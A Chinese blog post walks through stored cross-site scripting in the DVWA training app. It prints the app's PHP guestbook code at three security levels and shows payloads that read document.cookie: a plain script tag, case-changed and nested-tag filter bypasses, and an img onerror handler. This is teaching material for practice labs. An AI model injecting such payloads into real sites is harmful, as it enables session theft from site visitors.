首页 > 其他分享 >DVWA-XSS(Stored)存储型跨站脚本攻击

DVWA-XSS(Stored)存储型跨站脚本攻击

时间:2024-02-24 21:11:52浏览次数:19  
标签:XSS name DVWA ston Stored error mysqli ___ GLOBALS

DVWA-XSS(Stored)存储型XSS是一种持久型XSS,与DOM型和Reflected型区别在于将恶意脚本注入到网站的某个存储区域,如数据库或其他文件类型中。每当访问网站时,服务器在生成页面时,将含有恶意脚本当做有效内容插入到页面中,并响应给用户。浏览器就会执行页面中的恶意脚本,从而对访问者造成攻击。

 

--low级别:

服务器端代码:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

在low代码中,通过stripslashes()函数对message的内容进行过滤。但没有对name的内容做限制。

正常访问:

在name内容中插入script脚本获取cookie信息,如下:

<script>document.write(document.cookie)</script>

 提交结果如下:

 --medium级别:

服务器端代码:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

在medium中对name参数内容中<script>内容替换为空,可以通过大小写或重写拼接的形式绕过。如下:

<Script>document.write(document.cookie)</Script>

执行结果:

 或者:

<scr<script>ipt>document.write(document.cookie)</scr<script>ipt>

执行结果:

 

--high级别:

服务器端代码:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

在high中通过正则表达式对script标签内容大小写进行过滤,可以通过onerror引用外部资源错误形式触发脚本内容。相关标签<img>、<object>等。如下:

<img src="1" one rror="document.write(document.cookie)"/>

执行结果:

 

标签:XSS,name,DVWA,ston,Stored,error,mysqli,___,GLOBALS
From: https://www.cnblogs.com/JcHome/p/18031582

相关文章

  • XSS-Cross Site Scripting
    一、XSS简介与危害简介跨站脚本攻击XSS(CrossSiteScripting),为了不和层叠样式表CSS(CascadingStyleSheets)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。......
  • DVWA-SQL Injection(Blind) SQL盲注
    一般的sql注入是当提交完成后,会将sql的执行结果直接显示在页面或响应信息中。而sql盲注是提交完请求后,不管是执行成功还是失败,都无法直接知道执行结果。只能根据返回的信息来判断。sql盲注常用函数:if()语法格式:if(expr1,expr2,expr3)功能:Expr1为true则返回expr2,expr1为fals......
  • DVWA-SQL Injection(sql注入)
    Sql注入是通过传递含有恶意sql语句的命令,使服务器在组织sql语句时,破坏掉原来的sql语句结构。从而达到执行恶意sql语句的目的。DVWASQLInjection级别--low--medium--high--impossible --low级别:服务器端代码:<?phpif(isset($_REQUEST['Submit']......
  • DVWA-Insecure CAPTCHA(不安全的验证码)
    InsecureCAPTCHA意思是不安全的验证码,指验证在验证过程中,存在逻辑漏洞,导致可以绕过验证。CAPTCHA全称为:CompletelyAutomatedPublicTuringTesttoTellComputersandHumansApart(全自动区分计算机和人类的图灵测试)。DVWA-InsecureCAPTCHA级别:--low--medium......
  • DVWA-File Upload(文件上传漏洞)
    FileUpload文件上传漏洞是通过上传文件功能,上传一些可执行的脚本文件,且服务器端没有对上传的文件进行严格的校验或者在服务器端没有对上传的文件进行安全策略的配置,导致文件能成功上传到服务器上,且能够解析执行。DVWA-FileUpload的级别:--low--medium--high......
  • DVWA-File inclusion(文件包含漏洞)
    FileInclusion,文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。PHP中包含文件函数介绍:Inc......
  • DVWA-Command Injection(命令注入)
    命令注入是通过提交含有恶意的服务器端可以执行命令,且这些命令能被服务器执行,从而能间接操作服务器。DVWA的CommandInjection级别分为:--low--medium--high--impossible--low级别看以下,正常的操作是输入IP地址,交由服务器进行ping操作,然后再将结果返回给......
  • 三十二、XSS
    XSSFilter.pyfrombs4importBeautifulSoupclassXSSFilter(object):__instance=Nonedef__init__(self):#XSS白名单self.valid_tags={"font":['color','size','face','sty......
  • PHP项目&TP框架&SQL&XSS&架构&路由&调试&写法
    开发基础-TP框架-入口&调试&路由&写法等参考手册-TP5开发手册-为了掌握了解框架首页文件看APP_PATH定义-为了后期分析核心代码全局搜索:THINK_VERSION,为了后期分析此版本是否存在漏洞。参考手册-本地代码案例对比,为了后期分析定位代码块或测试漏洞。配置文件开关(app_debug,a......
  • xss漏洞简介
    xss简介XSS(跨站脚本公鸡)是一种常见的网络安全漏洞,公鸡者通过在受信任的网站上注入恶意脚本,使其在用户浏览器中执行。这些恶意脚本可以窃取用户的敏感信息,如登录凭证、个人信息等,或者进行其他恶意操作。XSS漏洞的原理是公鸡者将恶意脚本注入到受信任的网站中,然后当用户访问该网站时,......